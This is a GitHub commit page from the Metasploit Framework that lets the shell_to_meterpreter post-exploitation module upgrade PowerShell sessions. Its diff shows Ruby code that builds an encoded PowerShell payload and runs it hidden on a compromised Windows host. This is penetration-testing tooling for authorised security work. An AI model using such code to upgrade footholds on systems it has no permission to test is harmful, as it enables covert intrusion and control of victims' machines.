Skip to content

Commit c967b60

Browse files
committed
Land rapid7#5948, @bcook-r7's fix shell_to_meterpreter from powershell
2 parents 2445c1f + 953bfe1 commit c967b60

File tree

5 files changed

+48
-14
lines changed

5 files changed

+48
-14
lines changed

lib/msf/base/sessions/powershell.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,13 @@ def self.type
2727
"powershell"
2828
end
2929

30+
#
31+
# Returns the session platform.
32+
#
33+
def platform
34+
"win"
35+
end
36+
3037
#
3138
# Returns the session description.
3239
#
@@ -37,15 +44,14 @@ def desc
3744
#
3845
# Takes over the shell_command of the parent
3946
#
40-
def shell_command(cmd)
47+
def shell_command(cmd, timeout = 1800)
4148
# insert random marker
4249
strm = Rex::Text.rand_text_alpha(15)
4350
endm = Rex::Text.rand_text_alpha(15)
4451

4552
# Send the shell channel's stdin.
4653
shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n")
4754

48-
timeout = 1800 # 30 minute timeout
4955
etime = ::Time.now.to_f + timeout
5056

5157
buff = ""

lib/msf/core/exploit/powershell.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -147,7 +147,6 @@ def generate_psh_args(opts)
147147
# @param ps_code [String] Powershell code
148148
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
149149
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
150-
#
151150
# @return [String] Wrapped powershell code
152151
def run_hidden_psh(ps_code, payload_arch, encoded)
153152
arg_opts = {

lib/msf/core/post/common.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -198,6 +198,13 @@ def cmd_exec(cmd, args=nil, time_out=15)
198198
end
199199

200200
process.close
201+
when /powershell/
202+
if args.nil? || args.empty?
203+
o = session.shell_command("#{cmd}", time_out)
204+
else
205+
o = session.shell_command("#{cmd} #{args}", time_out)
206+
end
207+
o.chomp! if o
201208
when /shell/
202209
if args.nil? || args.empty?
203210
o = session.shell_command_token("#{cmd}", time_out)

lib/msf/ui/console/command_dispatcher/core.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1921,12 +1921,12 @@ def cmd_sessions(*args)
19211921
session.response_timeout = response_timeout
19221922
end
19231923
begin
1924-
if session.type == 'shell'
1924+
if ['shell', 'powershell'].include?(session.type)
19251925
session.init_ui(driver.input, driver.output)
19261926
session.execute_script('post/multi/manage/shell_to_meterpreter')
19271927
session.reset_ui
19281928
else
1929-
print_error("Session #{sess_id} is not a command shell session, skipping...")
1929+
print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...")
19301930
next
19311931
end
19321932
ensure

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 31 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -128,15 +128,37 @@ def run
128128

129129
case platform
130130
when 'win'
131-
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
132-
vprint_status("Transfer method: Powershell")
133-
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
134-
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
135-
else
136-
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
137-
vprint_status("Transfer method: VBS [fallback]")
138-
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
139-
aborted = transmit_payload(exe)
131+
if session.type == 'powershell'
132+
template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts')
133+
psh_payload = case datastore['Powershell::method']
134+
when 'net'
135+
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
136+
when 'reflection'
137+
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
138+
when 'old'
139+
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
140+
when 'msil'
141+
fail RuntimeError, 'MSIL Powershell method no longer exists'
142+
else
143+
fail RuntimeError, 'No Powershell method specified'
144+
end
145+
146+
# prepend_sleep => 1
147+
psh_payload = 'Start-Sleep -s 1;' << psh_payload
148+
149+
encoded_psh_payload = encode_script(psh_payload)
150+
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
151+
else # shell
152+
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
153+
vprint_status("Transfer method: Powershell")
154+
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
155+
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
156+
else
157+
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
158+
vprint_status("Transfer method: VBS [fallback]")
159+
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
160+
aborted = transmit_payload(exe)
161+
end
140162
end
141163
when 'python'
142164
vprint_status("Transfer method: Python")

0 commit comments

Comments
 (0)